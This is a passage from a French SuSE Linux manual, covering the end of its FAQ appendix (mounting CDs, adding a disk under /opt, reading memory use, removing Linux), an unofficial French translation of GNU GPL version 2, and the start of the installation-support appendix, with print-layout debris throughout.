D'autres programmes présentant un certain intérêt dans ce contexte sont : top , procinfo et xosview . Les messages émis au moment de l'amorçage peuvent être visualisés avec terre: # less /var/log/boot.msg * * 543 F. La FAQ de SuSE______Linux______________________________________________________________________________________________________* *_______________________________________@ Où se trouve StarOffice ? Vous trouverez StarOffice dans le paquetage so_fr à sélectionner dans la série pay. Pour l'installation, utilisez notre programme YaST qui vous fera savoir quel CD vous devez insérer. J'ai trouvé un bogue dans SuSE Linux. À qui dois-je le signaler ? Assurez-vous tout d'abord qu'il s'agit vraiment d'une erreur dans le pro- gramme et non pas seulement d'une erreur de manipulation ou de configu- ration. Lisez aussi la documentation dans /usr/doc/packages et /usr/ doc/howto. Il est possible que cette erreur ait déjà été constatée et que vous puissiez trouvez quelque chose à ce sujet sur Internet dans notre base de don- nées support sous http://sdb.suse.de/sdb/en/html/index.html. En- trez un mot-clé ou effectuez vos recherches à partir de l'``historique''. S'il s'agit véritablement d'un bogue, envoyez-nous une description par E- mail à feedback@suse.de. Il est impératif dans ce cas de nous faire connaître votre code d'enregistrement. Comment avoir accès à mon CD ? Vous devez tout d'abord monter le CD. Voir le paragraphe 19.11.2 page 500 du manuel. Je ne parviens pas à retirer mon CD du lecteur, que dois-je faire ? Vous devez d'abord démonter le CD. Voir le paragraphe 19.11.2 page 500 du manuel. Si YaST tourne encore, terminez-le. Comment obtenir l'affichage de l'espace disponible sous Linux ? Avec df -h , voir aussi chapitre 19 page 481. Le ``couper/coller'' est-il possible sous Linux ? Oui. Si vous voulez utiliser le ``couper/coller'' en mode texte, vous devez lancer le programme gpm . Voici la règle à appliquer sous le système X Window et en mode texte : Marquer en pressant le bouton gauche de la souris et en faisant glisser et insérer en utilisant le bouton central de la souris. Le bouton droit de la souris a presque toujours une fonction particulière dans les programmes. Si votre souris ne possède pas de bouton central, pressez les deux boutons simultanément. Comment installer des programmes ? Installez de préférence avec YaST les programmes inclus sur les CD SuSE Linux. Vous pourrez trouver de nombreux programmes (``démos'') d'assez grande taille série pay. 544 ___________________________________________________________________________________________F.__La_FAQ_de_SuSE______Linux____* *______________________ Je possède un programme ``seulement'' en code source. Comment l'ins- taller ? L'utilisation de certains programmes requiert quelques connaissances que l'on peut acquérir à l'aide d'un bon livre sur Linux ~ voir http://www. suse.de/de/produkte/buecher/. En résumé : Décompresser l'archive (avec tar xvzf name.tar.gz ), lire INSTALL ou README et suivre les ins- tructions ~ la plupart du temps il s'agit d'un ./configure ;make ;make install . Voir aussi les informations détaillées sur la gestion des paquetages au para- graphe 15.3 page 415. Notez que nous n'offrons pas d'Assistance Technique à l'Installation pour les programmes que vous avez compilés vous-même. Il me faut Firewall, IP Masquerade, un serveur de messagerie et un ser- veur WWW. Puis-je compter sur l'Assistance Technique à l'Installation ? Non. L'Assistance Technique à l'Installation (voir annexe H page 557) vous aide uniquement à mettre en route votre système Linux. Pour tout ce qui sort de ce cadre, il existe de bons livres en librairies ainsi qu'une excellente documen- tation dans /usr/doc/packages et /usr/doc/howto/en/NET3-HOWTO. txt.gz. Au sujet de Masquerade, voir le paragraphe 6.7 page 201. Mon matériel est-il supporté ? Jetez un coup d'oeil dans la base de données CDB (angl. Component Database) sous http://cdb.suse.de/. Un less /usr/doc/howto/en/Hardware-HOWTO.gz peut aussi vous fournir des informations. Comment défragmenter mon disque dur ? Linux possède un système de fichiers intelligent. Ce système de fichiers qui ne permet pratiquement pas la fragmentation rend donc la défragmentation superflue. Veillez à ce que vos partitions ne soient pas remplies à plus de 90% (df -h ). J'entends souvent parler de partitionnement, de quoi s'agit-il exacte- ment ? On entend par partitionnement la répartition du disque dur en différentes zones. Windows a aussi une partition qui lui est propre. SuSE Linux requiert, dans la configuration standard, 3 partitions (une partition pour les fichiers d'amorçage, une autre pour Linux lui-même et une partition de swap). Lisez le chapitre 19 page 481 pour plus de détails. * * 545 F. La FAQ de SuSE______Linux______________________________________________________________________________________________________* *_______________________________________@ Faut-il effacer Windows pour pouvoir utiliser Linux ? Non. Mais Linux a besoin d'espace disponible sur le disque dur. Exécutez defrag sous Windows et invoquez le programme fips dans le ré- pertoire \dosutils\fips\fips20 sur le premier CD SuSE Linux. Ce pro- gramme vous permet de réduire la taille de la partition Windows afin de faire de la place pour Linux. Sauvegardez auparavant vos données et lisez le Readme de fips ! Voir aussi le guide détaillé d'installation au paragraphe 1.5 page 28. Quelle quantité d'espace faut-il pour Linux ? À partir de 380 Mo environ vous êtes dans le jeu. Mais il est quand même recommandable d'avoir environ 1 Go. Si vous avez l'intention de tout installer il vous faut plus de 6 Go. Je n'ai pas assez de place pour Linux, comment ajouter un disque dur supplémentaire ? Vous pouvez à tout moment, sous un système Linux, intégrer des disques durs ou des partitions libres de disques durs afin d'avoir plus de place à votre disposition. S'il vous faut plus de place, par exemple dans /opt, vous pouvez y monter (angl. mount) une partition supplémentaire. Procédez de la façon suivante : 1. Ajoutez le disque dur et démarrez Linux. 2. Connectez-vous en tant qu'utilisateur `root'. 3. Partitionnez avec fdisk par exemple en tant que /dev/hdb1 4. Formatez la partition avec mke2fs /dev/hdb1 5. Entrez les commandes suivantes : terre: # cd /opt terre:/opt # mkdir /opt2 terre:/opt # mount /dev/hdb1 /opt2 terre:/opt # cp -axv . /opt2 Vérifiez toutefois soigneusement si vos données ont toutes été copiées. Vous pourrez ensuite ``déplacer'' l'ancien répertoire et créer un nouveau + point de montage vide : terre:/opt # mv /opt /opt.old terre:/opt # mkdir /opt Ajoutez maintenant, avec un + éditeur, la nouvelle partition dans le fichier /etc/fstab. Ceci pourrait se présenter comme dans le fichier F.0.1. ________________________________________________________________________________________________________* *________ |/dev/hdb1 /opt ext2 defaults 1 2 * * | |_______________________________________________________________________________________________________* *________ | fichier F.0.1: Extrait de /etc/fstab : Partition supplémentaire Vous devriez maintenant arrêter votre machine et réamorcer. 546 ___________________________________________________________________________________________F.__La_FAQ_de_SuSE______Linux____* *______________________ 6. Lorsque votre machine a été réamorcée, assurez-vous, à l'aide de la com- mande mount que /dev/hdb1 a vraiment été rattaché sous /opt. Si tout a fonctionné comme prévu, vous pouvez maintenant effacer les anciennes données sous /opt.old : terre: # cd / terre:/ # rm -fr opt.old J'ai déjà compilé un noyau. Comment est-il possible d'installer mainte- nant le noyau SuSE original ? Procédez de la manière décrite au paragraphe 3.6.2 page 103 du manuel. Ma machine s'est plantée. Puis-je appuyer sur le bouton de remise à zéro sans courir de risque ? Si votre machine ne réagit plus aux clics de souris ou aux entrées clavier, cela ne signifie pas qu'elle est totalement plantée. Il peut arriver qu'un seul programme provoque un blocage de la souris et du clavier alors que tous les autres programmes continuent à tourner. Si votre machine est accessible de l'extérieur (terminal série, réseau), vous pouvez encore vous connecter et terminer le programme responsable avec killall _ ____ __._ Si vous n'avez pas cette possibilité, essayez, avec |______C|trl+ |____A|lt+ |___F|2, de passer sur une autre console pour y tuer le processus gênant. Si aucune touche ne provoque une réaction de la machine, attendez au moins 10 secondes sans aucun accès au disque avant d'actionner bouton de remise à zéro. Pourquoi Linux consomme-t-il toute ma mémoire ? Jetons un coup d'oeil sur une sortie de free -t : total used free shared buffers cached Mem: 127800 94312 33488 11196 22324 46104 -/+ buffers/cache: 25884 101916 Swap: 136544 832 135712 Total: 264344 95144 169200 Il semble qu'il n'y aurait que 33488 Ko de mémoire disponible (Mem/free). Il s'agit toutefois de mémoire ``inutilisée''. Toute la mémoire RAM qui n'est pas utilisée par les programmes sert de cache disque, ici 46104 Ko (Mem/cached). L'entrée shared désigne une mémoire utilisée en commun par plusieurs pro- grammes et bibliothèques (ici 11196 Ko). La mémoire disponible est la valeur indiquée dans -/+ buffers/cache et free , donc ici 101916 Ko. Virtuellement, il y a encore environ 165 Mo de mémoire disponible. Qu'est-ce qu'un miroir ? Pourquoi ne pas tout récupérer depuis ftp. suse.com ? Comme de nombreux utilisateurs ont besoin au même moment du serveur, celui-ci serait très vite surchargé. Pour cette raison, il existe tout un tas d'autres serveurs FTP qui incluent une ``copie exacte'' du serveur SuSE . De * * 547 F. La FAQ de SuSE______Linux______________________________________________________________________________________________________* *_______________________________________@ tels serveurs sont appelés ``miroirs''. On devrait toujours se diriger vers un miroir qui se trouve à proximité (c'est-à-dire dans le même pays) car le té- léchargement est alors plus rapide. Vous trouverez une liste des miroirs par exemple sous http://www.suse.de/en/support/download/ftp/. Quel genre de répertoires sont /var, /etc, /bin etc. ? Comme tout autre système Unix, Linux possède un système de fichiers dont de très grandes parties sont uniformes. Ces répertoires ne doivent pas être effacés ou déplacés. En tant qu'utilisateur, vous devriez travailler uniquement dans /home/tux (remplacez `tux' par votre nom d'utilisateur). Pour plus d'informations sur le système de répertoires, voyez l'annexe D page 531. Comment afficher, éditer, déplacer, copier, effacer des fichiers ? Si vous voulez effectuer ces opération avec les ``programmes maison'' Li- nux, vous trouverez des explications au chapitre 19 page 481. Vous pouvez cependant travailler aussi sur la console texte avec le programme Midnight Commander (mc ) (clone d'un outil DOS/Windows bien connu)._Vous_devez__ pour cela ouvrir un terminal dans l'interface graphique (|A____l|t+ |F___|2et ensuite xterm ) et entrer mc dans ce terminal. Comment lire mes fichiers DOS ? Voir le paragraphe 19.12 page 501 du manuel. Je ne trouve pas de fichiers .exe. Où sont tous les programmes ? Sous Linux, les noms de fichiers exécutables n'ont normalement pas d'ex- tension. La majeure partie des programmes se trouve dans /usr/bin et /usr/X11R6/bin. À quoi reconnaît-on les fichiers exécutables ? Avec la commande ls -l /usr/bin par exemple, vous voyez tous les fi- chiers exécutables du répertoire /usr/bin indiqués en rouge. Vous pou- vez aussi les reconnaître au `x' dans la première colonne (voir le para- graphe sec :u.datei.info du manuel). -rwxr-xr-x 1 root root 64412 Jul 23 15:23 /usr/bin/ftp Dans le gestionnaire de fichiers de KDE (kfm ), vous pouvez reconnaître un fichier exécutable au symbole en forme de roue dentée. Je voudrais supprimer Linux, comment faire ? Effacez la partition Linux avec fdisk . Il vous faudra éventuellement invoquer fdisk sous Linux, par exemple en passant par le système de secours (voir pa- ragraphe 16.5 page 438). Ensuite vous devrez amorcer à partir de la disquette MS-DOS et exécuter la commande fdisk /mbr sous DOS ou Windows. 548 Annexe G Licence Publique Générale GNU (GPL) La présente traduction ne peut en aucun cas remplacer au sens juridique le texte original de la GPL. Il ne s'agit pas d'une version française approuvée par la FSF mais d'une traduction inofficielle de la GPL. GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 675 Mass Ave, Cambridge, MA 02139, USA Chacun est autorisé à reproduire ce document et à en distribuer des copies conformes mais aucune modification n'est admise. PRÉAMBULE Les licences concernant la majeure partie des logiciels ont pour but de suppri- mer toute liberté de les partager et de les modifier. La Licence Publique Gé- nérale GNU, au contraire, a été conçue pour vous assurer le droit de partager et de modifier les logiciels libres et pour garantir leur libre accès à tout utilisa- teur. La Licence Publique Générale s'applique à la majorité des logiciels de la Free Software Foundation et à tous les autres programmes que leurs auteurs ont décidé de soumettre aux termes de cette Licence. (D'autres logiciels de la Free Software Foundation sont couverts, à la place, par la Licence Publique Générale des Bibliothèques GNU). Vous pouvez aussi appliquer les termes de la présente Licence à vos propres programmes. Lorsque nous parlons de ``free software'', nous entendons logiciels libres et non pas gratuits. Notre Licence Publique Générale a été conçue pour vous assurer la liberté de distribuer des copies de logiciels libres (en facturant ce service si vous le souhaitez), de recevoir le code source ou de pouvoir l'obtenir si vous le désirez, de modifier les programmes ou d'en utiliser des éléments dans de nouveaux logiciels libres en sachant que vous êtes autorisé à le faire. Afin de préserver vos droits, nous avons dû stipuler des restrictions qui inter- disent à quiconque de vous dénier ces droits ou de vous demander d'y renon- cer. Ces restrictions entraînent également pour vous certaines obligations si vous distribuez des copies de programmes ou si vous les modifiez. * * 549 G. Licence Publique_Générale_GNU_(GPL)____________________________________________________________________________________________* *_______________________________________@ Si vous distribuez par exemple des copies de tels programmes, gratuitement ou contre rémunération, vous êtes tenu de transmettre aux bénéficiaires tous les droits que vous avez vous-même. Vous devez aussi vous assurer qu'ils reçoivent ou peuvent obtenir le code source. Et vous devez leur faire prendre connaissance des termes de la présente Licence afin qu'ils soient au courant de leurs droits. Nous protégeons vos droits par deux mesures : (1) en plaçant le logiciel sous copyright et (2) en vous offrant la présente Licence qui vous autorise légalement à copier, distribuer et/ou à modifier le logiciel. En outre, pour la protection des auteurs et la nôtre, nous voulons être certains que chacun comprenne qu'il n'existe aucune garantie pour ces logiciels libres. Si le logiciel est modifié par un tiers et redistribué ensuite, nous tenons à ce que les utilisateurs qui le reçoivent sachent qu'ils ne sont pas en présence de l'original afin que des erreurs introduites par un tiers ne puissent pas nuire à la réputation de l'auteur. Enfin, tout logiciel libre est constamment menacé par des dépôts de bre- vets. Nous voulons exclure le risque que les distributeurs d'un logiciel libre puissent obtenir individuellement des licences de brevets rendant ainsi le pro- gramme propriétaire. Pour prévenir ce risque, nous avons clairement stipulé que toute licence de brevet doit prévoir une libre utilisation par tous ou qu'il ne doit pas exister du tout de licence. Les conditions précises pour la copie, la distribution et la modification sont les suivantes : GNU GENERAL PUBLIC LICENSE TERMES ET CONDITIONS POUR LA COPIE, LA DISTRIBUTION ET LA MODIFICATION 0. La présente Licence s'applique à tout programme ou autre ouvrage conte- nant une mention, apposée par le détenteur du copyright, précisant qu'il peut être distribué sous les termes de la Licence Publique Générale. Le mot ``Pro- gramme'' est employé, dans la suite du présent document, pour désigner un tel programme ou un tel ouvrage. L'expression ``ouvrage basé sur le Program- me'' désigne soit le Programme lui-même, soit tout ouvrage qui en est dérivé au sens défini par la législation sur les droits d'auteurs, à savoir : un ouvrage contenant le Programme ou une partie de celui-ci, soit sous forme inaltérée, soit avec des modifications et/ou traduit dans une autre langue. (Dans la suite de ce document, le terme ``traduction'' sera donc couvert sans aucune restric- tion par le terme ``modification''). Tout bénéficiaire de la présente Licence est désigné par ``Vous''. Les activités autres que la copie, la distribution et la modification ne sont pas couvertes par la présente Licence, elles dépassent le cadre de son application. La mise en oeuvre du Programme n'est soumise à aucune restriction et les données résultant de l'exécution du Programme ne sont couvertes que si leur contenu représente un ouvrage basé sur le Programme (indépendamment du fait qu'elles résultent de l'exécution du Programme). Qu'il s'agisse ou non d'un tel ouvrage dépend des fonctions du Programme. 550 _________________________________________________________________G.__Licence_Publique_Générale_GNU_(GPL)____________________* *______________________ 1. Vous êtes autorisé à faire et à distribuer, sur n'importe quel support, des copies exactes du code source du Programme tel que vous l'avez reçu à condi- tion de faire figurer clairement sur chaque copie une mention appropriée de copyright et d'exclusion de toute garantie. Laissez inchangées toutes les men- tions se référant à la présente Licence et à l'absence de garantie et fournissez, conjointement au Programme, un exemplaire de la présente Licence à tout utilisateur qui le reçoit. Vous pouvez demandez une rémunération pour la réalisation de la copie et vous êtes libre d'accorder vous-même une garantie en échange d'une rému- nération. 2. Vous êtes autorisé à modifier votre copie ou vos copies du Programme ou partie de celui-ci créant ainsi un ouvrage basé sur le Programme et vous pouvez copier et distribuer de telles versions modifiées ou ouvrages selon les termes de l'article 1 sous réserve que les conditions ci-dessous soient également remplies : a) Vous devez faire en sorte que les fichiers modifiés soient pourvus de men- tions bien visibles indiquant que vous les avez modifiés et précisant la date de chaque modification. b) Vous devez faire en sorte que chaque ouvrage distribué ou publié par vos soins et qui contient, soit dans son ensemble soit dans ses éléments, le Programme ou des parties du Programme, ou qui est dérivé du Programme ou parties du Programme, soit fourni comme un ensemble à toute tierce personne sans facturation de taxe sous les termes de la présente Licence. c) Si le Programme lit normalement des commandes de façon interactive au cours de son exécution, vous devez faire en sorte que lorsqu'il est lancé de la manière habituelle pour une utilisation interactive, il affiche ou imprime un message contenant une mention appropriée de copyright et d'exclusion de garantie (ou l'indication que vous fournissez vous-même une garan- tie). Le message doit en outre faire savoir aux utilisateurs qu'ils peuvent redistribuer le Programme dans les même conditions et leur indiquer de quelle manière ils peuvent visualiser une copie de la présente Licence. (Exception : Si le Programme est lui-même interactif mais n'émet pas normalement un tel message, votre ouvrage basé sur le Programme n'est pas non plus tenu de l'émettre). Ces exigences s'appliquent à l'ouvrage modifié pris dans son ensemble. Si des parties identifiables de cet ouvrage ne sont pas dérivées du Programme et peuvent raisonnablement être considérées comme étant par elles-mêmes des ouvrages indépendants et distincts, la présente Licence et ses termes ne s'appliquent pas à ces éléments lorsque vous les distribuez séparément. Mais si vous distribuez ces mêmes éléments comme parties d'un ensemble repré- senté par un ouvrage basé sur le Programme, la distribution de l'ensemble est soumise aux termes de la présente Licence qui étend les droits des autres per- sonnes concenées par la Licence à la totalité de l'ensemble et par conséquent à chacun de ses éléments quel qu'en soit l'auteur. Le présent article n'a donc pas pour but de revendiquer ni de contester vos droits sur un ouvrage que vous avez entièrement écrit vous-même. Son inten- * * 551 G. Licence Publique_Générale_GNU_(GPL)____________________________________________________________________________________________* *_______________________________________@ tion est bien plus de garantir un droit de contrôle sur tout ouvrage dérivé ou ouvrage collectif basé sur le Programme. En outre, la simple réunion d'un autre ouvrage, non basé sur le Programme, avec le Programme ou à un ouvrage dérivé de celui-ci sur un support de stockage ou de distribution ne soumet pas l'autre ouvrage aux termes de la présente Licence. 3. Vous êtes autorisé à copier et à distribuer le Programme (ou un ouvrage basé sur celui-ci selon la définition donnée par l'article 2) sous forme de code objet ou de code exécutable à condition de fournir l'un des services suivants : a) Joindre au Programme son code source complet sous une forme lisible par ordinateur et, selon les termes des articles 1 et 2, sur un support couramment utilisé pour l'échange de logiciels ; ou b) Joindre au Programme une offre écrite, valable pendant au moins trois ans, par laquelle vous vous engagez à fournir à toute tierce personne, pour une rémunération n'excédant pas vos frais de duplication et de distribution une copie du code source complet sous une forme lisible par ordinateur et, selon les termes des articles 1 et 2, sur un support couramment utilisé pour l'échange de logiciels ; ou c) Joindre au Programme l'information que vous avez vous-même reçue concernant l'offre de distribution du code source correspondant. (Cette alternative n'est autorisée que pour une distribution non commerciale et seulement si vous avez reçu le Programme sous forme de code objet ou de code exécutable avec l'offre prévue par l'alinéa b) du présent article). Par code source d'un ouvrage, on entend la forme de cet ouvrage de préfé- rence utilisée pour y apporter des modifications. Pour un programme, le code source complet est le code source de tous les modules qui le composent au- quel s'ajoute tout fichier de définition d'interface associé ainsi que les scripts utilisés pour le contrôle de la compilation et l'installation de l'exécutable. Il existe cependant une exception particulière : il n'est pas nécessaire qu'il soit inclus dans le code source fourni tout ce qui est normalement distribué (soit sous forme de source soit sous forme binaire) avec les composantes princi- pales (compilateur, noyau etc.) du système d'exploitation sur lequel l'exé- cutable est mis en oeuvre, à moins que cette composante n'accompagne le programme exécutable. Si la distribution d'un programme exécutable ou du code objet consiste à offrir un accès permettant d'effectuer une copie depuis un endroit déterminé, l'offre d'un accès équivalent permettant de copier le code source à partir du même endroit est considérée comme une distribution du code source bien que les tierces personnes ne soient pas tenues de copier le code source avec le code objet. 4. Vous n'êtes pas autorisé à copier, modifier, concéder en sous-licence ou distribuer le Programme d'une autre manière que celle expressément prescrite par la présente Licence. Toute tentative de copier, modifier, concéder en sous- licence ou distribuer le Programme sous d'autres conditions est entachée de nullité et entraîne automatiquement la perte des droits qui vous sont accordés par la présente Licence. Cependant les tiers auxquels vous avez transmis des 552 _________________________________________________________________G.__Licence_Publique_Générale_GNU_(GPL)____________________* *______________________ copies ou des droits au titre de la présente Licence ne subiront pas la perte de leurs droits tant qu'ils continueront à se comporter de façon absolument conforme aux termes de la Licence. 5. Vous n'êtes pas tenu d'accepter la présente Licence puisque vous ne l'avez pas signée. Il n'existe cependant rien d'autre qui vous autorise à modifier ou à distribuer le Programme ou les ouvrages qui en sont dérivés. Ces actions sont interdites par la loi si vous n'acceptez pas la Licence. En conséquence, toute modification ou distribution du Programme (ou d'un ouvrage basé sur le Programme) constitue une acceptation implicite de la présente Licence et de tous ses termes et conditions concernant la copie, la distribution ou la modification du Programme ou d'ouvrages basés sur celui-ci. 6. Chaque fois que vous redistribuez le Programme (ou tout ouvrage basé sur le Programme), le bénéficiaire reçoit automatiquement du détenteur initial de licence l'autorisation de copier, distribuer et modifier le Programme confor- méments aux termes et conditions de la présente Licence. Vous n'avez pas le droit d'imposer des restrictions supplémentaires à l'exercice des droits que vous transmettez au bénéficiaire. Vous n'avez pas la responsabilité d'imposer à des tiers de se conformer à la présente Licence. 7. Si par suite d'un jugement de tribunal, d'une allégation de violation de bre- vet ou pour toute autre raison (ne se limitant pas aux questions des brevets) il vous est imposé (par ordonnance judiciaire, accord ou autre) des conditions incompatibles avec les conditions de la présente Licence, cette circonstance ne vous exempte pas de respecter les termes de la Licence. S'il ne vous est pas possible de distribuer le Programme en conciliant vos obligations envers la présente Licence avec vos autres obligations, vous n'êtes pas autorisé à le distribuer. Si par exemple une licence de brevet n'autorisait pas une redistri- bution sans redevance du Programme par tous ceux qui en ont reçu des copies par votre intermédiaire directe ou indirecte, le seul moyen qui vous permet- trait de satisfaire aussi bien les exigences de cette licence de brevet que celles de la présente Licence serait de vous abstenir purement et simplement de dis- tribuer le Programme. Si une partie de cet article devait s'avérer nulle ou inapplicable dans certaines circonstances particulières, le reste de l'article n'en demeure pas moins appli- cable et l'article devra s'appliquer dans son ensemble en toute autre circons- tance. Le but de ce présent article n'est pas de vous inciter à enfreindre la loi sur les brevets, ni à porter atteinte à tout autre droit de propriété ou à contester la va- lidité de tels droits. Son seul objectif est de protéger l'intégrité du système de distribution des logiciels libres réalisé par la pratique des licences publiques. De nombreuses personnes ont apporté une généreuse contribution à la large gamme de logiciels distribués par ce système en comptant sur une applica- tion conséquente du système. Il appartient à l'auteur/donateur de décider s'il préfère distribuer ses logiciels par l'intermédiaire d'un autre système ; aucun bénéficiaire de licence ne peut lui imposer un choix. L'intention du présent article est de rendre parfaitement clair ce qui est consi- déré comme une conséquence du reste de la présente Licence. * * 553 G. Licence Publique_Générale_GNU_(GPL)____________________________________________________________________________________________* *_______________________________________@ 8. Si la distribution et/ou l'utilisation du Programme est restreinte dans cer- tains pays, soit par des brevets soit par des droits d'auteurs sur des interfaces, le titulaire du copyright original qui place le Programme sous la présente Li- cence peut prévoir une limitation géographique explicite de la distribution excluant ces pays, de telle sorte que la distribution ne soit autorisée que dans les pays ou entre les pays qui ne sont pas exclus. Dans un tel cas, la présente Licence inclut cette limitation au même titre que si elle était écrite dans le corps de la présente Licence. 9. La Free Software Foundation peut publier périodiquement des versions ré- visées et/ou de nouvelles versions de la Licence Publique Générale. Ces nou- velles versions seront écrites dans le même esprit mais pourront différer dans certains détails afin de tenir compte de nouveaux problèmes ou de nouvelles situations. Il est attribué à chaque version un numéro bien distinct. Si le Programme précise qu'il est soumis à une version déterminée et à ``toute version ultérieu- re'' de la présente Licence vous pouvez choisir de vous conformer termes et conditions soit de cette version, soit de toute version publiée ultérieurement par la Free Software Foundation. Si le Programme ne précise aucun numéro de version de la présente Licence, vous pouvez choisir n'importe quelle ver- sion publiée par la Free Software Foundation. 10. Si vous souhaitez intégrer des éléments du Programme dans d'autres pro- grammes libres dont les conditions de distribution sont différentes, écrivez à l'auteur pour lui en demander l'autorisation. Pour les logiciels dont le co- pyright est détenu par la Free Software Foundation, écrivez à la Free Soft- ware Foundation ; nous faisons quelquefois des exceptions. Notre décision sera guidée par le double objectif de préserver le statut libre de tous les déri- vés de nos logiciels libres et de promouvoir le partage et la réutilisation des logiciels en général. ABSENCE DE GARANTIE 11. La Licence du Programme étant concédée gratuitement, il n'existe aucune garantie pour le Programme dans les limites permises par la loi en vigueur. Sauf s'il en a été convenu autrement par écrit, les dé- tenteurs de copyright et/ou les autres parties concernées fournissent le Programme ``tel quel'', sans aucune forme de garantie ni explicite ni im- plicite ; y compris, mais de façon non limitative, les garanties implicites de qualité marchande ou d'adéquation à un usage particulier. C'est à vous qu'incombent tous les risques liés à la qualité et à la performance du Programme. Si le Programme se révélait défectueux, vous assumerez les coûts de tous les services, réparations et corrections nécessaires. 12. En aucun cas, sauf si la loi en vigueur le prescrit ou s'il en est convenu par écrit, un détenteur de copyright ou un tiers autorisé à modifier et/ou à distribuer le Programme conformément aux conditions énoncées ci- dessus ne sera responsable à votre égard des dommages que vous pour- riez subir, y compris tout dommage général, spécial, accidentel ou dé- coulant de l'utilisation du Programme ou de l'impossibilité de l'utiliser (y compris, mais de façon non limitative, la perte ou le traitement inadé- quat de données, les préjudices subis par vous ou par des tiers ou l'im- 554 _________________________________________________________________G.__Licence_Publique_Générale_GNU_(GPL)____________________* *______________________ possibilité de mise en oeuvre du Programme conjointement à tout autre programme) même si le détenteur du copyright ou le tiers concerné a été informé de la possibilité de tels dommages. FIN DES TERMES ET CONDITIONS Annexe : Comment appliquer ces termes à vos nouveaux programmes ? Si vous développez un nouveau programme et si vous souhaitez qu'il soit uti- lisé le plus possible par le public, le meilleur moyen d'y parvenir est d'en faire un logiciel libre que chacun pourra redistribuer et modifier conformément aux termes de la présente Licence. Pour cela, joignez à votre programme les indications suivantes. Il est plus sûr de les faire figurer au début de chaque fichier source afin que la mention d'exclusion de toute garantie soit bien visible. Chaque fichier devrait en outre contenir au moins une ligne de ``copyright'' et indiquer où se trouve la notice complète. ffiUne ligne contenant le nom du programme et une brève description de ses fonctions fflCopyright (C) 19yy ffiNom de l'auteur ffl Ce programme est un logiciel libre ; vous pouvez le redistribuer et/ou le mo- difier conformément aux dispositions de la Licence Publique Générale GNU telle qu'elle a été publiée par la Free Software Foundation ; version 2 de la Licence ou (à votre choix) toute version ultérieure. Ce programme est distribué dans l'espoir qu'il sera utile, mais SANS AU- CUNE GARANTIE ; sans même la garantie implicite de QUALITÉ MAR- CHANDE OU D'ADÉQUATION À UN USAGE PARTICULIER. Voir la Li- cence Publique Générale pour plus de détails. Vous devriez avoir reçu un exemplaire de la Licence Publique Générale GNU conjointement à ce programme ; si ce n'est pas le cas, écrivez à la Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. Ajoutez les informations permettant de vous contacter par courrier électro- nique ou courrier postal. Si votre programme est interactif, faites en sorte qu'il émette un court mes- sage comme celui-ci lors de son lancement en mode interactif : Gnomovision version 69, Copyright (C) 19yy name of author Gnomovision comes with ABSOLUTELY NO WARRANTY ; for details type `show w'. This is free software, and you are welcome to redistribute it under certain condi- tions ; type `show c' for details. Les commandes hypothétiques `show w' et `show c' devraient afficher les parties appropriées de la Licence Publique Générale. Les commandes que vous utilisez peuvent bien sûr avoir un tout autre nom que `show w' et `show c'. Elles peuvent aussi être accessibles par un clic de souris ou correspondre à des options de menus - selon ce qui convient à votre programme. Vous devrez aussi demander à votre employeur (si vous travaillez comme programmeur) ou le cas échéant à votre établissement scolaire de signer, si nécessaire, une déclaration de renonciation aux droits d'auteur. Voici un exemple que vous pouvez prendre en changeant les noms : * * 555 G. Licence Publique_Générale_GNU_(GPL)____________________________________________________________________________________________* *_______________________________________@ Yoyodyne, Inc. déclare par la présente renoncer à tous droits d'auteur sur le programme `Gnomovision' (qui fait des passages au niveau des compilateurs) écrit par James Hacker. ffisignature de Ty Coon ffl, 1er avril 1989 Ty Coon, President of Vice La Licence Publique Générale ne vous permet pas d'inclure votre programme dans des programmes propriétaires. Si votre programme est une fonction de bibliothèque, il pourra vous sembler plus judicieux d'autoriser des éditions de liens des applications propriétaires avec cette bibliothèque. Si c'est ce que vous souhaitez, utilisez la Licence Publique Générale pour Bibliothèques GNU au lieu de la présente Licence. 556 Annexe H Assistance Technique et services Au cours de ces dernières années, nous avons constaté qu'en dépit du haut niveau de développement atteint par Linux, il pouvait toujours survenir - bien que de plus en plus rarement - certains problèmes lors de l'installation. Nous avons rédigé le présent manuel en tenant compte de nos expériences afin de vous épargner, cher lecteur, un weekend passé à attendre nerveusement de pouvoir contacter, le lundi après-midi, la ligne de dépannage qui vous permettra de poursuivre l'installation de votre système. Si vous deviez rencontrer quelques difficultés, assurez-vous tout d'abord, avant de vous adresser à notre équipe d'Assistance Technique, que la solution ne se trouve pas déjà dans ce manuel ou dans notre base de données support (SDB)1 . Vous devriez également consulter les différents fichiers README qui se trouvent sur le premier CD. H.1 60 jours d'Assistance Technique à l'Installation H.1.1 Sans enregistrement, pas d'Assistance Technique à l'Installa- tion ! Pour assurer un service optimal d'Assistance Technique à l'Installation, nous ne répondons qu'aux requêtes adressées par les utilisateurs SuSE Linux en- registrés. À la première page de ce manuel, vous trouverez une carte d'enregistrement pourvue de votre numéro de code. Ce code est unique et sert à vérifier que vous êtes bien en possession d'un véritable SuSE Linux. Si vous nous faites parvenir par courrier postal votre carte d'enregistrement Carte d'enre- après l'avoir remplie ou si vous vous faites enregistrer en ligne sur notre gistrement serveur WWW à l'aide du formulaire sous l'URL http://www.suse.de/ En ligne en/support/isupport/register/, vous deviendrez un utilisateur SuSE Linux enregistré ayant droit à l'Assistance Technique à l'Installation. 1 ____________________________________________________ Il est précisé, au paragraphe H.6 page 563, sous quelle adresse Internet ou au moyen de quels paquetages logiciels vous pourrez avoir accès à ces informations. * * 557 H. Assistance Technique_et_services_de_SuSE______GmbH_____________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Comme le numéro d'enregistrement et, par conséquent, le droit à l'As- * * |||| || sistance Technique sont liés au produit, nous vous prions de bien vouloir * * |||| | * * |||| | vous faire enregistrer pour chaque édition de SuSE Linux, même si vous * * ||| | effectuez seulement une mise à jour ou si vous vous êtes procuré le pro- * * ||| | * * ||| | duit directement chez nous. Vous n'êtes pas enregistré automatiquement * * ||| | au moment de l'achat ! * * ||| |_______________________________________________________________________________________________________* *________|||_ H.1.2 Présentation de l'Assistance Technique à l'Installation Le but de l'Assistance Technique à l'Installation est de vous aider à mettre en marche votre système SuSE Linux. Ceci inclut ~ l'installation du système de base SuSE Linux à partir des CD ~ la configuration de base d'un système monoposte ~ la configuration de base de l'interface graphique X11 ~ la configuration de base d'un modem analogique de type courant pour connexion Internet (uniquement du côté du client) 